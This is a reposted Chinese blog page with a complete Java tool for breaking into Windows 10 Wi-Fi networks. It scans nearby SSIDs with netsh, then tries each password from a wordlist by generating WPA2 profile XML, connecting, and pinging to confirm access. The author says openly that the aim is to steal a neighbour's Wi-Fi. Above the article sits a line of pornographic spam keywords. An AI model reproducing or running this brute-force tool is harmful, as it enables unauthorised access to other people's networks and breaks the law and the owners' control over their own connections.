日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

使用java破解wifi(win10环境)

發布時間:2024/3/12 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 使用java破解wifi(win10环境) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

簡介

閑來無事,手機的無限流量很卡,于是想偷隔壁的wifi,寫此程序,僅供娛樂。

Git地址

https://github.com/FangCheng666/zn_wifi_crack.git

代碼如下

1.cmd工具類

package com.znkeji.zn_wifi_carck.utils;import java.io.BufferedReader; import java.io.File; import java.io.IOException; import java.io.InputStreamReader; import java.util.ArrayList; import java.util.List;/*** Created with IntelliJ IDEA.* User: fangcheng* Date: 2019/3/24* Time: 16:21* Description: cmd 需要的工具類*/ public class CmdUtils {/*** 該方法封裝了執行cmd的方法** @param cmd CMD命令* @param filePath 需要在哪個目錄下執行*/public static List<String> execute(String cmd, String filePath) {Process process = null;List<String> result = new ArrayList<String>();try {if (filePath != null) {process = Runtime.getRuntime().exec(cmd, null, new File(filePath));} else {process = Runtime.getRuntime().exec(cmd);}BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk"));String line = null;while ((line = bReader.readLine()) != null) {result.add(line);}} catch (IOException e) {e.printStackTrace();}return result;}}

2.字符串工具類

package com.znkeji.zn_wifi_carck.utils;/*** Created with IntelliJ IDEA.* User: fangcheng* Date: 2019/3/24* Time: 16:21* Description:字符串工具類*/ public class StringUtils {/*** 字符串轉換成為16進制(無需Unicode編碼)* @param str* @return*/public static String str2HexStr(String str) {char[] chars = "0123456789ABCDEF".toCharArray();StringBuilder sb = new StringBuilder("");byte[] bs = str.getBytes();int bit;for (int i = 0; i < bs.length; i++) {bit = (bs[i] & 0x0f0) >> 4;sb.append(chars[bit]);bit = bs[i] & 0x0f;sb.append(chars[bit]);// sb.append(' ');}return sb.toString().trim();}}

3.wifi工具類

?

package com.znkeji.zn_wifi_carck.utils;import java.util.Hashtable;/*** Created with IntelliJ IDEA.* User: fangcheng* Date: 2019/3/24* Time: 13:16* Description: WiFi工具類*/ public class WiFiUtils {/*** 獲得wifi配置文件字符串* @param WIFI_NAME* @param hex* @param WIFI_PASSWORD* @return*/public static String getWifiStr(String WIFI_NAME, String hex, String WIFI_PASSWORD) {return "<?xml version=\"1.0\"?>\n" +"<WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\">\n" +"\t<name>"+WIFI_NAME+"</name>\n" +"\t<SSIDConfig>\n" +"\t\t<SSID>\n" +"\t\t\t<hex>"+hex+"</hex>\n" +"\t\t\t<name>"+WIFI_NAME+"</name>\n" +"\t\t</SSID>\n" +"\t</SSIDConfig>\n" +"\t<connectionType>ESS</connectionType>\n" +"\t<connectionMode>auto</connectionMode>\n" +"\t<MSM>\n" +"\t\t<security>\n" +"\t\t\t<authEncryption>\n" +"\t\t\t\t<authentication>WPA2PSK</authentication>\n" +"\t\t\t\t<encryption>AES</encryption>\n" +"\t\t\t\t<useOneX>false</useOneX>\n" +"\t\t\t</authEncryption>\n" +"\t\t\t<sharedKey>\n" +"\t\t\t\t<keyType>passPhrase</keyType>\n" +"\t\t\t\t<protected>false</protected>\n" +"\t\t\t\t<keyMaterial>"+WIFI_PASSWORD+"</keyMaterial>\n" +"\t\t\t</sharedKey>\n" +"\t\t</security>\n" +"\t</MSM>\n" +"\t<MacRandomization xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v3\">\n" +"\t\t<enableRandomization>false</enableRandomization>\n" +"\t</MacRandomization>\n" +"</WLANProfile>\n";} }

4.啟動類

package com.znkeji.zn_wifi_carck;import com.znkeji.zn_wifi_carck.utils.CmdUtils; import com.znkeji.zn_wifi_carck.utils.StringUtils; import com.znkeji.zn_wifi_carck.utils.WiFiUtils; import org.springframework.util.FileCopyUtils;import java.io.*; import java.util.ArrayList; import java.util.List; import java.util.Scanner;/*** Created with IntelliJ IDEA.* User: fangcheng* Date: 2019/3/23* Time: 20:18* Description: 啟動類,項目的入口*/ public class App {public static void main(String[] args) throws IOException {List<String> wifiList = CmdUtils.execute("netsh wlan show networks mode=bssid", "./");List<String> ssidList = getSsidList(wifiList);for (int i = 0; i < ssidList.size(); i++) {System.out.println((i+1)+"."+ssidList.get(i));}System.out.println("請輸入要破解的wifi:");Scanner sca =new Scanner(System.in);sca.useDelimiter("\n");String ssid = sca.next();System.out.println("-----------您選擇的wifi為【"+ssid+"】-------------");System.out.println("-----------開始破解-------------");String path = App.class.getClassLoader().getResource("pwd.txt").getPath();BufferedReader reader = new BufferedReader(new FileReader(path));String pwd = null;int i = 0;while((pwd = reader.readLine()) != null){i++;System.out.println("開始連接:"+i+" -->"+ssid+" - "+pwd);boolean success = connect(ssid, pwd);if(success){System.out.println("連接成功,"+ssid+"的密碼為"+pwd);return;}}}/*** 連接wifi* @param ssid* @param wifiPwd*/private static boolean connect(String ssid, String wifiPwd) {try {String hex = StringUtils.str2HexStr(ssid);//生成wifi配置文件String wifiConf = WiFiUtils.getWifiStr(ssid, hex,wifiPwd);File out = new File("./temp.xml");FileCopyUtils.copy(wifiConf.getBytes(), out);//添加配置文件printList(CmdUtils.execute("netsh wlan add profile filename=temp.xml","./"));;//連接wifiprintList(CmdUtils.execute("netsh wlan connect name=\""+ssid+"\"","./"));;//測試網絡,使用ping的方式檢測網絡,此處建議優化改其他效率更高的方式,暫停2000毫秒是因為連接WiFi需要時間,這個時間因環境而異CmdUtils.execute("ipconfig","./");Thread.sleep(2000);boolean success = ping();return success;}catch (Exception e){e.printStackTrace();}return false;}/*** 獲得ssidList* @param resultList 通過cmd命令查出來的附件WiFi* @return*/private static List<String> getSsidList(List<String> resultList) {List<String> ssidList = new ArrayList<String>();//遍歷result獲得ssidfor (String result : resultList) {if(result.startsWith("SSID")){String ssid = result.substring(result.indexOf(":")+2);ssidList.add(ssid);}}return ssidList;}/*** 打印list數據* @param resultList*/private static void printList(List<String> resultList) {for (String result : resultList) {System.out.println(result);}}/*** ping 校驗*/private static boolean ping() {boolean pinged = false;String cmd = "ping www.baidu.com";List<String> result = CmdUtils.execute(cmd, "./"); // printList(result);if (result != null && result.size() > 0) {for (String item : result) {if (item.contains("來自")) {pinged = true;break;}}}return pinged;}}

啟動方式

啟動App類中的main方法即可

效果如下

此文為原創,轉載請注明出處,謝謝

總結

以上是生活随笔為你收集整理的使用java破解wifi(win10环境)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。